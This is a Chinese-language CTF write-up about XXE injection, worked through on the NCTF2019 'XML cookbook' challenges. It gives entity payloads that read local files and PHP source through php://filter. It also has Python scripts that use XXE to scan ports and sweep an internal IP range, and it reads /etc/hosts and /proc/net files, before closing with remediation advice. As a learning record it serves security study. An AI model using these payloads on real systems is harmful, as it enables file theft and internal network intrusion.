7.26 XXE学习记录
XXE学习记录
内外实体注入
XXE(XML External Entity Injection) :全称为 XML 外部实体注入
简单来说就是往XML注入一个实体。
请看,XML自带常见的实体如下,跟html文件类似:
<、>、&、’、”在xml中是特殊符号,需要用实体表示
< <
> >
& &
’ '
” "
附:下面练习靶场的网站URL:http://47.103.94.191:8016/
进去后的GUI如图,我们遇到这样的题目,我们很容易想到一个方法叫sql注入,但是还有一个思考的方向叫XXE,特征是抓包的时候发现XML相关语句。
知识储备
- 自定义一个内部实体
使用时类似于大写:%gt; 来表示 ‘>’
这边我就用一个myentity的标识来表示hack这个实体。
- **自定义一个外部实体
这边就是可以把我们的一个系统的文件 作为一个实体来实现。
如果在解题的时候,我们可以尝试这样子来读取根目录下的flag,就可以得到答案。
拓展:另外的,我们这里依旧可以用php协议来搞到网页源代码。
可以看到,这里有个php文件来判断
我自定义的外部实体定义参考如下
<!ENTITY myentity SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]
base64解密后我们审计一下
可以看到代码的一个执行逻辑,和他登录的账号密码。
[NCTF2019]Fake XML cookbook
外部实体注入一个读取flag文件的读取操作即可得到flag
[NCTF2019]True XML cookbook
这次flag不在根目录下了。。但是好消息是进入后发现存在外部实体注入漏洞
我们使用端口扫描的思路来看一下,会不会有其他的端口。
看到这边这样报错,看来我们速度太快了,我们尝试用python脚本”爬虫“
代码是通过burpsuite 中的拓展插件Copy As Python-Requests得到,
我们后续加上一个for循环就OK了,不过考虑到访问不到的情况 timeout也要额外设置一下,再加个try exception。
我的代码参考如下
import time
import requests
res_list = []
burp0_url = "http://e91950e8-ff62-4ca2-ace0-b1ed63b9d4ce.node4.buuoj.cn:81/doLogin.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "application/xml, text/xml, */*; q=0.01", "uage": "zh-CN,en-US;q=0.5",
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/xml;charset=utf-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://e91950e8-ff62-4ca2-ace0-b1ed63b9d4ce.node4.buuoj.cn:81", "Connection": "close",
"Referer": "http://e91950e8-ff62-4ca2-ace0-b1ed63b9d4ce.node4.buuoj.cn:81/"}
for port in range(1, 65535):
print(f"try http://127.0.0.1:{port}...")
burp0_data = f"<!DOCTYPE USER[\r\n<!ENTITY myentity SYSTEM \"http://127.0.0.1:{port}\">\r\n]\r\n>\r\n<user><username>&myentity;</username><password>169.254.1.1 10.128.253.12</password></user>"
try:
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=0.5)
# print("#####################")
# print(res.text)
# print("#####################")
res_list.append(port)
except Exception as e:
print(e)
continue
if 'refused' not in res.text:
print(f"http://127.0.0.1:{port} is accept")
print(res)
time.sleep(0.05) # 根据服务器反应,调整好睡觉时间
print("#####################")
print("available port is ". res_list)
print("#####################")
很不幸,看来只有80端口能用
接下来我们只能要么考虑80端口的某个路径,要么考虑他的内网ip了,明显后面是一个比较更靠谱的选择。
那么,我们既然可以外实体注入,那么我们可以尝试访问读取 /etc/hosts、/proc/net/arp、/proc/net/fib_trie,推断内网时段。
可以的,这里出来了两个ip
169.254.1.1
10.244.80.254
emmm,169.254.1.1好像在学计网的时候没有说这是私有ip。后面百度发现是:
169.254.X.X是Windows操作系统在DHCP信息租用失败时自动给客户机分配的IP地址。.
想起来了,我做路由交换的时候,dhcp分配失败的时候就是这个地址!!!
不过做的时候还是都试了一下,做到这里,想沿用一下上面的思路,爆破端口的,但是发现,连80端口都访问不进去,然后试了1000多个也没用。
我们至此,怀疑这个是无效的,真正可以访问的是在同一个内网ip网段的另一个ip地址。
那么很明显了,我们爆破10.244.X.X这个网段,看看哪个能访问通就完事了。剩下的交给python!
先爆破最后一位看看。
import time
import requests
res_list = []
burp0_url = "http://e91950e8-ff62-4ca2-ace0-b1ed63b9d4ce.node4.buuoj.cn:81/doLogin.php"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "application/xml, text/xml, */*; q=0.01", "uage": "zh-CN,en-US;q=0.5",
"Accept-Encoding": "gzip, deflate", "Content-Type": "application/xml;charset=utf-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://e91950e8-ff62-4ca2-ace0-b1ed63b9d4ce.node4.buuoj.cn:81", "Connection": "close",
"Referer": "http://e91950e8-ff62-4ca2-ace0-b1ed63b9d4ce.node4.buuoj.cn:81/"}
X3 = 80
for X4 in range(1, 256):
print(f"try http://10.244.{X3}.{X4}...")
burp0_data = f"<!DOCTYPE USER[\r\n<!ENTITY myentity SYSTEM \"http://10.244.{X3}.{X4}\">\r\n]\r\n>\r\n<user><username>&myentity;</username><password>169.254.1.1 10.128.253.12</password></user>"
try:
res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=0.5)
print("#####################")
print(res.text)
print("#####################")
res_list.append(X4)
except Exception as e:
print(e)
continue
# if 'Connection refused' not in res.text:
# print(f"found {address} ")
# print(res)
time.sleep(0.05)
print("#####################")
print(res_list)
print("#####################")
完事了兄弟们,在84的时候直接爆破出来了flag
知识补充
端口扫描(bp和python)
我们访问不能直接访问的端口,可以攻破一个可以访问的端口来间接攻破其他端口,
那我们第一步应是探寻可以访问的端口
我们可以通过爆破来寻找哪些端口可用,不可用的会返回connection refused
另外的,也可也使用python脚本,这边安装一个Copy As Python-Requests插件
写个for循环来遍历请求访问即可,输出我想要的东西。
内网IP探测
与端口的原理是同理的,我们可以通过公网间接访问
方法1
- 读取 /etc/hosts、/proc/net/arp、/proc/net/fib_trie,推断内网时段。
方法2
- 使用intruder尝试172.27.0.1-255所有ip
修复建议:
o使用开发语言提供的禁用外部实体的方法
oPHP:libxml_disable_entity_loader(true);
o其他语言: https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet